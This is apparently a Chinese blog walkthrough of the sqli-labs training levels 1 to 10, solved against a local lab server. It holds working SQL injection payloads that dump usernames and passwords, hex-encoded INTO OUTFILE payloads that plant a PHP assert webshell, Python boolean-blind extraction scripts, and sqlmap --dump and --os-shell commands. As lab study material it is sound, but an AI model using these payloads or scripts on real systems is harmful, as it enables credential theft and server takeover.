目录
题外话
Less-1
Less-2
Less-3
Less-4
Less-5
Less-6
Less-7
Less-8
Less-9
Less-10
这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。
1、我刚发现,原来每关源代码同目录的result.txt中都会记录每次输入的payload
2、闯关的时候发现一个神奇的情况,如果字段本身是int类型,并且在查询语句中该字段的值被双引号或者单引号包裹,则只要值是以正确数字开头的,后面接多余的字符还是可以返回正确的查询结果,甚至单引号中可以包含双引号,双引号中可以包含单引号。如下图所示:
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-1/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-1/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号
这关使用union注入,后续爆库和写webshell的payload如下:
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 3-- s http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'C:/less1.php'-- s
爆库结果:
写入服务器的webshell:
这关代码如下,没有对id进行过滤,29行可以看出闭合是单引号,36和38行看出查询结果有回显,另外44行是用于在sql语句有语法问题的时候返回错误的。
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-2/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-2/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关不用闭合
这关使用union注入,后续爆库和写webshell的payload如下:
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 3-- s http://192.168.101.16/sqli-labs-master/Less-2/?id=1 order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s
爆库结果:
写入服务器的webshell:
本关代码如下,可以看出除了32行的sql语句中$id没有用引号闭合之外,其他和Less-1都是相同的。
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-3/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-3/?id=1'
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是')
这关使用union注入,后续爆库和写webshell的payload如下:
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 3-- s http://192.168.101.16/sqli-labs-master/Less-3/?id=:1') order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-3/?id=:-1') union select 1,2,'<?php assert($_POST[less3]);?>' into outfile 'C:/less3.php'-- s
爆库结果:
写入服务器的webshell:
本关代码如下,可以看出除了31行的sql语句中的闭合之外,其他和Less-1都是相同的。
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-4/?id=1
能够知道本关的查询结果是会回显的
然后输入http://192.168.101.16/sqli-labs-master/Less-4/?id=1"
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关闭合是")
(注意这关输入id=1'是不会报错的,原因就是题外话的第2条)
这关使用union注入,后续爆库和写webshell的payload如下:
#下面两步找列数 http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 3-- s http://192.168.101.16/sqli-labs-master/Less-4/?id=1") order by 4-- s #确定哪个字段有回显 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,3-- s #确定当前数据库 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,database()-- s #爆出当前数据库内的所有表名 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s #爆出当前数据库user表的所有列名 http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s #爆出当前数据库user表所有username和password http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-4/?id=-1") union select 1,2,'<?php assert($_POST[less4]);?>' into outfile 'C:/less4.php'-- s
爆库结果:
写入服务器的webshell:
本关代码如下,从28,29行可以看出,本关除了sql语句中的闭合之外,其他和Less-1都是相同的。
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-5/?id=1
能够知道本关的查询结果不回显
然后输入http://192.168.101.16/sqli-labs-master/Less-5/?id=1'
发现语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号
这关使用报错注入,后续爆库和写webshell的payload如下:
#获取当前数据库名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s #获取当前数据库所有表名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有列名称 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有username和password的值 http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s
爆库结果分好几段,这边就展示第一段
写入服务器的webshell:
下面是本关代码,和Less-1的显著不同是33-39行,查询结果不回显
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-6/?id=1
能够知道本关的查询结果不回显
再输入:http://192.168.101.16/sqli-labs-master/Less-6/?id=1"
发现语法报错还是存在的,并且从报错可以判断出本关的闭合是双引号
这关使用报错注入,后续爆库和写webshell的payload如下:
#获取当前数据库名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s #获取当前数据库所有表名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有列名称 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s #获取当前数据库user表所有username和password的值 http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s http://192.168.101.16/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s #下面这步写webshell http://192.168.101.16/sqli-labs-master/Less-6/?id=1" into outfile 'C:/less6.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373365d293b3f3e-- s
爆库结果分好几段,这边就展示第一段
写入服务器的webshell
下面是本关代码,和Less-5的区别仅在于sql语句的参数值闭合符号不同(28,29行)
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-7/?id=1
能够知道本关的查询结果不回显
再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=1'
发现本关不会显示具体的sql语法问题
再输入:http://192.168.101.16/sqli-labs-master/Less-7/?id=-1
发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同。这关可以用bool盲注。
如果手工注入的话,闭合可以用burpsuite爆破,这里就不写了。找到闭合之后,就可以开始爆库和写webshell了。
关于爆库,这关我改了一下之前写的脚本(JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)),修改后的代码如下:
#!/usr/bin/python3 # coding=utf-8 """ :copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved. :license: GNU General Public License v3.0, see LICENSE for more details. """ import requests url = "http://192.168.101.16/sqli-labs-master/Less-7/" #有可利用漏洞的url,根据实际情况填写 headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写 keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符 flag = 'You are in' #用于判断附加sql语句为真的字符,根据网页回显填写 def CurrentDatabase7(): n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 db = str() while True: if j>k and j<n and j-k>3: payload1 = "1')) and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写 param = { "id":payload1, } response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request #print(response.request.headers) #print(response.text) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload2 = "1')) and length(database())="+str(i)+"-- ss" param = { "id":payload2, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload3 = "1')) and substring(database(),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload3, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: db = db+c break print("the name of current database is "+str(db)) def Tables7(): n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 tname = str() while True: if j>k and j<n and j-k>3: payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss" param = { "id":payload4, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss" param = { "id":payload5, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all tables in current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload6, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: tname = tname+c break print("the name of all tables in current database is "+str(tname)) def Columns7(table): #table参数是需要爆破的数据表名称,记得加单引号 n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 cname = str() while True: if j>k and j<n and j-k>3: payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss" param = { "id":payload7, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss" param = { "id":payload8, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all columns in current table contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload9, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: cname = cname+c break print("the name of all columns in current table is "+str(cname)) def Content7(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号 n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 content = str() while True: if j>k and j<n and j-k>3: payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss" param = { "id":payload10, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss" param = { "id":payload11, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the content contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload12, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: content = content+c break print("the content is "+str(content))
测试结果如下:
写入webshell使用如下payload:
http://192.168.101.16/sqli-labs-master/Less-7/?id=1')) into outfile 'C:/less7.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e-- s
0x后面是<?php assert($_POST[less7]);?>的十六进制编码。服务器上写入的webshell如下:
本关代码如下,从45,46行可见,当查询不到正确结果的时候,输出提示You have an error in your SQL syntax,而不返回报错。
首先输入正确的url:http://192.168.101.16/sqli-labs-master/Less-8/?id=1
能够知道本关的查询结果不回显
再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=1'
发现除了固定页面显示之外,没有任何回显
再输入:http://192.168.101.16/sqli-labs-master/Less-8/?id=-1
效果和上图一样。这关可以用bool盲注。
同样,这关我们手工注入找闭合可以用burpsuite爆破。
接下来的爆库,我在上一关代码的基础上做了修改,修改后的代码如下:
#!/usr/bin/python3 # coding=utf-8 """ functions for boolean-based sql injection(GET) :copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved. :license: GNU General Public License v3.0, see LICENSE for more details. """ import requests url = "http://192.168.101.16/sqli-labs-master/Less-8/" #有可利用漏洞的url,根据实际情况填写 headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写 keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符 flag = 'You are in' #用于判断附加sql语句为真的字符,根据网页回显填写 def CurrentDatabaseGET(): n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 db = str() while True: if j>k and j<n and j-k>3: payload1 = "1' and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写 param = { "id":payload1, } response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request #print(response.request.headers) #print(response.text) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload2 = "1' and length(database())="+str(i)+"-- ss" param = { "id":payload2, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload3, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: db = db+c break print("the name of current database is "+str(db)) def TablesGET(): n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 tname = str() while True: if j>k and j<n and j-k>3: payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss" param = { "id":payload4, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss" param = { "id":payload5, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all tables in current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload6, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: tname = tname+c break print("the name of all tables in current database is "+str(tname)) def ColumnsGET(table): #table参数是需要爆破的数据表名称,记得加单引号 n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 cname = str() while True: if j>k and j<n and j-k>3: payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss" param = { "id":payload7, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss" param = { "id":payload8, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the name of all columns in current table contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload9, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: cname = cname+c break print("the name of all columns in current table is "+str(cname)) def ContentGET(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号 n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 content = str() while True: if j>k and j<n and j-k>3: payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss" param = { "id":payload10, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss" param = { "id":payload11, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: length = i break break else: break print("the content contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss" param = { "id":payload12, } response = requests.get(url, params = param, headers = headers) if response.text.find(flag) != -1: content = content+c break print("the content is "+str(content))
爆库结果:
接下来写webshell:
http://192.168.101.16/sqli-labs-master/Less-8/?id=1' into outfile 'C:/less8.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373385d293b3f3e-- s
服务器中写入的webshell如下:
本关代码如下,代码上看和上一关的主要区别在于数据库未查询到正确结果时,本关什么都不回显,注入逻辑上看其实没啥区别
本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:
输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(2),0)-- s
页面会过2s再刷新成功
输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(2),0)-- s
页面立刻刷新成功
本关可以用基于时间的盲注
这关用sqlmap来试试,启动sqlmap并输入如下语句
#获取所有数据库名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs #获取当前数据库 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db #获取数据库security所有表名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security #获取数据库security的users表的所有列名 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users #获取数据库security的users表的username和password列的值 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password #写马 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell
爆库结果:
写马的时候,发生了一件令我疑惑的事情,目录C:\phpstudy_pro\WWW下命令行shell和上传文件的shell都可以写成功,但目录C:\less9下只能写入上传文件的shell,并且sqlmap的返回结果说写shell失败。具体原因目前还不清楚。
然后又发现一件搞笑的事情,我仔细一看,sqlmap不但识别出本关可以使用时间盲注,还识别出本关可以使用布尔盲注。并且看了本关文件夹下的result.txt之后发现,sqlmap最终选的注入方法是布尔盲注(好机智,毕竟时间盲注慢)。
看了本关代码之后发现,原来查询到结果和查询不到结果的返回页面有html代码上的区别……
启示:以后遇到参数值输入正确和错误页面回显一样的情况,还得看看网页源代码
备注:本关也可以手工注入写马:
http://192.168.101.16/sqli-labs-master/Less-9/?id=1' into outfile 'C:/less9.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E-- s
写入服务器的webshell:
本关不管id的值是数据库中存在的(id=1)还是不存在的(id=-1),页面回显都是一样的:
查看网页源代码,下图是id=1的时候
下图是id=-1的时候
差异还是挺明显的,所以这关也是可以进行布尔盲注的,可是标题说了time based所以……到底要不要给面子呢?
还是给点面子吧^^
这题如果用手工注入,可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)的sqli_tb.py
我这里又偷懒了,用sqlmap来注入,payload和上一关差不多,但是要多加点参数(--technique T --level 3),具体如下:
#获取当前数据库 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --current-db --technique T --level 3 #获取数据库security所有表名称 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --tables -D security --technique T --level 3 #获取数据库security的users表的所有列名 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --columns -D security -T users --technique T --level 3 #获取数据库security的users表的username和password列的值 python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --dump -D security -T users -C username,password --technique T --level 3
时间盲注真的很慢!!!能用别的就别用这个!!
手工注入一下webshell:
先看看sqlmap注入用的payload,可见闭合是双引号
所以可以用下面的payload来写webshell:
http://192.168.101.16/sqli-labs-master/Less-10/?id=1" into outfile 'C:/less10.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331305D293B3F3E-- s
写入服务器的webshell:
本关代码和Less-9除了闭合不同也没啥不一样了……